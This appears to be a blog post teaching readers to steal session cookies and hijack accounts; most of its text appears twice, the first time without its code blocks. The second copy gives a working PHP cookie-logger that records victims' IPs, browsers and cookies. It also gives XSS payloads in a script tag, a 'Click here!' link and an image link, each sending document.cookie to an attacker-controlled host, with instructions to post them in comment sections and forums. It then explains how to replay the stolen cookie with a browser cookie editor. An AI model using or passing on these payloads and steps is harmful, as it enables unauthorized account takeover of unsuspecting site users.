Here we show how you can hack a session using javascript and php.
What is a cookie?
A cookie known as a web cookie or http cookie is a small piece of text stored by the user browser.A cookie is
sent as an header by the web server to the web browser on the client side.A cookie is static and is sent back
by the browser unchanged everytime it accesses the server.
A cookie has a expiration time that is set by the server and are deleted automatically after the expiration
time.
Cookie is used to maintain users authentication and to implement shopping cart during his navigation,
possibly across multiple visits.
What can we do after stealing cookie?
Well,as we know web sites authenticate their user's with a cookie,it can be used to hijack the victims session.
The victims stolen cookie can be replaced with our cookie to hijack his session.
This is a cookie stealing script that steals the cookies of a user and store them in a text file, these cookied can later be utilised.
Save the script as a cookielogger.php on your server.
(You can get any free webhosting easily such as justfree,x10hosting etc..)
Create an empty text file log.txt in the same directory on the webserver. The hijacked/hacked cookies
will be automatically stored here.
Now for the hack to work we have to inject this piece of javascript into the target's page. This can be done
by adding a link in the comments page which allows users to add hyperlinks etc. But beware some sites
dont allow javascript so you gotta be lucky to try this.
The best way is to look for user interactive sites which contain comments or forums.
Post the following code which invokes or activates the cookielogger on your host.
Code:
Your can also trick the victim into clicking a link that activates javascript.
Below is the code which has to be posted.
Code:
Clicking an image also can activate the script.For this purpose you can use the below code.
Code:
<img src="URL OF THE IMAGE"/></a>
All the details like cookie,ipaddress,browser of the victim are logged in to log.txt on your hostserver
In the above codes please remove the space in between javascript.
Hijacking the Session:
Now we have cookie,what to do with this..?
Download cookie editor mozilla plugin or you may find other plugins as well.
Go to the target site
open cookie editor
Replace the cookie with the stolen cookie of the victim and
refresh the page.Thats it!!! you should now be in his account.
Download cookie editor mozilla plugin from here : https://addons.mozilla.org/en-US/firefox/addon/573
Don't forget to comment if you like my post.
What is a cookie?
A cookie known as a web cookie or http cookie is a small piece of text stored by the user browser.A cookie is
sent as an header by the web server to the web browser on the client side.A cookie is static and is sent back
by the browser unchanged everytime it accesses the server.
A cookie has a expiration time that is set by the server and are deleted automatically after the expiration
time.
Cookie is used to maintain users authentication and to implement shopping cart during his navigation,
possibly across multiple visits.
What can we do after stealing cookie?
Well,as we know web sites authenticate their user's with a cookie,it can be used to hijack the victims session.
The victims stolen cookie can be replaced with our cookie to hijack his session.
This is a cookie stealing script that steals the cookies of a user and store them in a text file, these cookied can later be utilised.
PHP Code:<?php
function GetIP(){if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))$ip = getenv("HTTP_CLIENT_IP");else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))$ip = getenv("HTTP_X_FORWARDED_FOR");else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))$ip = getenv("REMOTE_ADDR");else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))$ip = $_SERVER['REMOTE_ADDR'];else$ip = "unknown";return($ip);}
function logData(){$ipLog="log.txt";$cookie = $_SERVER['QUERY_STRING'];$register_globals = (bool) ini_get('register_gobals');if ($register_globals) $ip = getenv('REMOTE_ADDR');else $ip = GetIP();
$rem_port = $_SERVER['REMOTE_PORT'];$user_agent = $_SERVER['HTTP_USER_AGENT'];$rqst_method = $_SERVER['METHOD'];$rem_host = $_SERVER['REMOTE_HOST'];$referer = $_SERVER['HTTP_REFERER'];$date=date ("l dS of F Y h:i:s A");$log=fopen("$ipLog", "a+");
if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie");elsefputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");fclose($log);}
logData();
?>
Save the script as a cookielogger.php on your server.
(You can get any free webhosting easily such as justfree,x10hosting etc..)
Create an empty text file log.txt in the same directory on the webserver. The hijacked/hacked cookies
will be automatically stored here.
Now for the hack to work we have to inject this piece of javascript into the target's page. This can be done
by adding a link in the comments page which allows users to add hyperlinks etc. But beware some sites
dont allow javascript so you gotta be lucky to try this.
The best way is to look for user interactive sites which contain comments or forums.
Post the following code which invokes or activates the cookielogger on your host.
Code:
<script language="Java script">document.location="http://www.yourhost.com/cookielogger.php?cookie=" + document.cookie;</script>
Your can also trick the victim into clicking a link that activates javascript.
Below is the code which has to be posted.
Code:
<a href="java script:document.location='http://www.yourhost.com/cookielogger.php? cookie='+document.cookie;">Click here!</a>
Clicking an image also can activate the script.For this purpose you can use the below code.
Code:
<a href="java script:document.location='http://www.yourhost.com/cookielogger.php?cookie='+document.cookie;">
<img src="URL OF THE IMAGE"/></a>
All the details like cookie,ipaddress,browser of the victim are logged in to log.txt on your hostserver
In the above codes please remove the space in between javascript.
Hijacking the Session:
Now we have cookie,what to do with this..?
Download cookie editor mozilla plugin or you may find other plugins as well.
Go to the target site
open cookie editor
Replace the cookie with the stolen cookie of the victim and
refresh the page.Thats it!!! you should now be in his account.
Download cookie editor mozilla plugin from here : https://addons.mozilla.org/en-US/firefox/addon/573
Don't forget to comment if you like my post.
Buddy this script is not working, storing everything (IP, hostAgent, rhost etc..) but not cookies.
ReplyDeleteTest the script again .....
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